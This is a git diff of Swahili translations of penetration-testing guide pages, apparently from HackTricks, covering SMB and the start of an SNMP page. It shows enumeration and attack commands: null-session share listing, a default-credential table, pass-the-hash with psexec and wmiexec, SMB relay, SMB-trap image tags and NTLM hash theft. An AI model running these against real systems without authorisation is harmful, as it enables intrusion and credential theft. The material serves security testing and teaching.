| `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?| | `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?| -| `magic script = script.sh` | Ni script gani inapaswa kutekelezwa wakati script inafungwa? | -| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? | +| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa wakati script inafungwa? | +| `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? | The command `smbstatus` gives information about the **server** and about **who is connected**. @@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo **mbinu** ya **kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`: +crackmapexec inaweza kutekeleza amri **kwa kutumia** yoyote ya **mmcexec, smbexec, atexec, wmiexec** ambapo **wmiexec** ndiyo njia **ya kawaida**. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameter `--exec-method`: ```bash apt-get install crackmapexec @@ -378,7 +382,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**file-less technique-**-).\ +Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\ **Maelezo zaidi** kuhusu [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)na [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/ ```bash @@ -393,7 +397,7 @@ Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec Fanya kazi ya amri kwa siri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\ -Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/ +Katika **kali** inapatikana kwenye /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password @@ -428,14 +432,14 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Huu shambulio unatumia zana ya Responder ili **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ +Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ [**Taarifa zaidi kuhusu shambulio hili hapa.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"` -Hii inatokea na kazi zifuatazo: +Hii inatokea na kazi: - URLDownloadToFile - URLDownloadToCache @@ -452,7 +456,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype) ## NTLM Theft -Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack). +Kama ilivyo kwa SMB Trapping, kupanda faili zenye madhara kwenye mfumo lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](pentesting-smb.md#smb-relay-attack). [See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 8d64c5e74..a7914966e 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Port 139** -The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**. +_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambayo pia inajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao. +Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao. Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP. ``` @@ -20,7 +20,7 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mfumo wa uendeshaji wa **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB. -Hisa, zinazowakilisha **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinafafanua **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva. +Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva. ### IPC$ Share @@ -36,7 +36,7 @@ Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmin ```bash enum4linux -a target_ip ``` -Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililoainishwa na `target_ip`. +Amri ya juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`. ## Nini NTLM @@ -54,9 +54,9 @@ nbtscan -r 192.168.0.1/24 ``` ### SMB server version -Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haionekani katika zana nyingine zinazotumika, unaweza: +Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza: -- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb_version** +- Tumia moduli ya **MSF** ya ziada `**auxiliary/scanner/smb/smb_version**` - Au skripti hii: ```bash #!/bin/sh @@ -81,15 +81,15 @@ searchsploit microsoft smb ``` ### **Mikopo** Inayowezekana -| **Jina la mtumiaji(s)** | **Nywila za kawaida** | -| ------------------------ | ----------------------------------------- | -| _(bila)_ | _(bila)_ | -| mgeni | _(bila)_ | -| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho | +| **Jina la mtumiaji** | **Nywila za kawaida** | +| --------------------- | ----------------------------------------- | +| _(bila)_ | _(bila)_ | +| mgeni | _(bila)_ | +| Msimamizi, admin | _(bila)_, nywila, msimamizi, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| jaribio, maabara, onyesho | nywila, jaribio, maabara, onyesho | ### Nguvu ya Brute @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Orodha Watumiaji, Vikundi & Watumiaji Walioingia +### Orodha ya Watumiaji, Vikundi & Watumiaji Walioingia Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng ```bash @@ -169,7 +169,7 @@ rpcclient-enumeration.md ### Orodha ya folda zilizoshirikiwa -Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**. +Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -183,7 +183,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Unganisha/Orodhesha folda iliyoshirikiwa** +### **Unganisha/Ondoa orodha ya folda iliyoshirikiwa** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo** -Inaweza kuwa nawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji nayo au sehemu hiyo haipo kabisa. +Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono, unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji nayo au sehemu hiyo haipo kabisa. Majina ya kawaida ya sehemu kwa malengo ya windows ni @@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -au kwa script hii (ikitumia kikao kisicho na thamani) +au kwa ajili ya script hii (ikitumia kikao kisicho na thamani) ```bash #/bin/bash @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Kagua hisa kutoka Windows / bila zana za upande wa tatu** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -291,16 +291,16 @@ smbclient /// ``` Amri: -- mask: inabainisha mask inayotumika kuchuja faili ndani ya directory (kwa mfano, "" kwa faili zote) -- recurse: inawasha recursion (kawaida: off) +- mask: inabainisha kivuli ambacho kinatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote) +- recurse: inawasha urudiwa (kawaida: off) - prompt: inawasha kuomba majina ya faili off (kawaida: on) -- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja +- mget: inakopi faili zote zinazolingana na kivuli kutoka kwa mwenyeji hadi mashine ya mteja (_Taarifa kutoka kwa manpage ya smbclient_) ### Utafutaji wa Folda za Kshared za Domain -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia. +Maana maalum kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina taarifa za kuingia. > [!NOTE] > **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\ @@ -318,7 +318,7 @@ Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani * ## Soma Registry -Unaweza kuwa na uwezo wa **kusoma registry** ukitumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu: +Unaweza kuwa na uwezo wa **kusoma registry** ukitumia baadhi ya taarifa za kuingia zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -329,16 +329,16 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 **Mipangilio ya default ya** server ya **Samba** kwa kawaida hupatikana katika `/etc/samba/smb.conf` na inaweza kuwa na **mipangilio hatari**: | **Mipangilio** | **Maelezo** | -| --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? | -| `read only = no` | Kataza uundaji na mabadiliko ya faili? | -| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? | -| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? | -| `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? | -| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? | +| --------------------------- | ------------------------------------------------------------------- | +| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? | +| `read only = no` | Kataza uundaji na mabadiliko ya faili? | +| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? | +| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? | +| `enable privileges = yes` | Heshimu mamlaka yaliyotolewa kwa SID maalum? | +| `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? | | `directory mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?| -| `logon script = script.sh` | Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?| -| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa script inapofungwa? | +| `logon script = script.sh` | Ni script gani inahitaji kutekelezwa wakati wa kuingia kwa mtumiaji?| +| `magic script = script.sh` | Ni script ipi inapaswa kutekelezwa wakati script inafungwa? | | `magic output = script.out` | Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa? | Amri `smbstatus` inatoa taarifa kuhusu **server** na kuhusu **nani ameungana**. @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Chaguo zote mbili **zitaunda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**mbinu isiyo na faili-**-).\ +Chaguo zote mbili zita **unda huduma mpya** (kwa kutumia _\pipe\svcctl_ kupitia SMB) kwenye mashine ya mwathirika na kuitumia **kutekeleza kitu** (**psexec** it **pakia** faili la executable kwenye ADMIN$ share na **smbexec** itaanika **cmd.exe/powershell.exe** na kuweka katika hoja payload --**file-less technique-**-).\ **Maelezo zaidi** kuhusu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)na [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/ ```bash @@ -392,7 +392,7 @@ Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Fanya kazi ya amri kwa siri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\ +Fanya kwa siri kutekeleza shell ya amri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia **port 135.**\ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -400,7 +400,7 @@ Katika **kali** iko kwenye /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Kwa kutumia **parameter**`-k` unaweza kujiandikisha dhidi ya **kerberos** badala ya **NTLM** +Kwa kutumia **parameter**`-k` unaweza kuthibitisha dhidi ya **kerberos** badala ya **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -428,14 +428,14 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Shambulio hili linatumia zana ya Responder **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** vikao hivyo kwa **kifaa cha lengo**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **safu** ya **sistimu**.\ +Huu shambulio unatumia zana ya Responder ili **kukamata vikao vya uthibitishaji vya SMB** kwenye mtandao wa ndani, na **kupeleka** kwa **mashine lengwa**. Ikiwa **kikao cha uthibitishaji kinafanikiwa**, kitaweka moja kwa moja kwenye **sistimu** **shell**.\ [**Taarifa zaidi kuhusu shambulio hili hapa.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: `img src="\\10.10.10.10\path\image.jpg"` -Hii inatokea na kazi zifuatazo: +Hii inatokea na kazi: - URLDownloadToFile - URLDownloadToCache @@ -452,7 +452,7 @@ Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype) ## NTLM Theft -Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengo (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack). +Kama vile SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika [SMB relay attack](#smb-relay-attack). [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index e94110c42..e25ff88f0 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -15,21 +15,21 @@ PORT STATE SERVICE REASON VERSION ### MIB -Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na kwa mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchi ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\ -Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax Notation One` (`ASN.1`). **MIBs hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au ni aina gani ya data inayotumika. +Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo inataja **SNMP objects** zote zinazoweza kuulizwa za kifaa katika **hierarchy ya mti iliyo sanifishwa**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kipengele husika.\ +Mifano ya MIB imeandikwa katika `Abstract Syntax Notation One` (`ASN.1`) kwa format ya maandiko ya ASCII. **MIBs hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au aina gani ya data inatumika. ### OIDs -**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kusimamia vitu ndani ya **Management Information Base (MIB)**. +**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kudhibiti vitu ndani ya **Management Information Base (MIB)**. -Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa. +Viwango vya juu vya IDs za MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa. -Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti. +Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyo na muundo na iliyopangwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) Unaweza **kuvinjari** kupitia **OID tree** kutoka kwenye wavuti hapa: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) au **ona maana ya OID** (kama `1.3.6.1.2.1.1`) kwa kufikia [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) zinazorejelea MIB-2 iliyofafanuliwa Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka hii** unaweza kupata data ya kuvutia ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...) +Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) zinazorejelea MIB-2 iliyofafanua Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka hii** unaweza kupata data ya kuvutia ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...) ### **OID Mfano** @@ -44,7 +44,7 @@ Hapa kuna ufafanuzi wa anwani hii. - 6 – hii ni dod au Wizara ya Ulinzi ambayo ni shirika lililoanzisha Mtandao kwanza. - 1 – hii ni thamani ya mtandao kuashiria kuwa mawasiliano yote yatatokea kupitia Mtandao. - 4 – thamani hii inaashiria kuwa kifaa hiki kimeundwa na shirika binafsi na si la serikali. -- 1 – thamani hii inaashiria kuwa kifaa kimeundwa na kampuni au shirika la biashara. +- 1 – thamani hii inaashiria kuwa kifaa kimeundwa na shirika au kampuni. Thamani hizi sita za kwanza huwa sawa kwa vifaa vyote 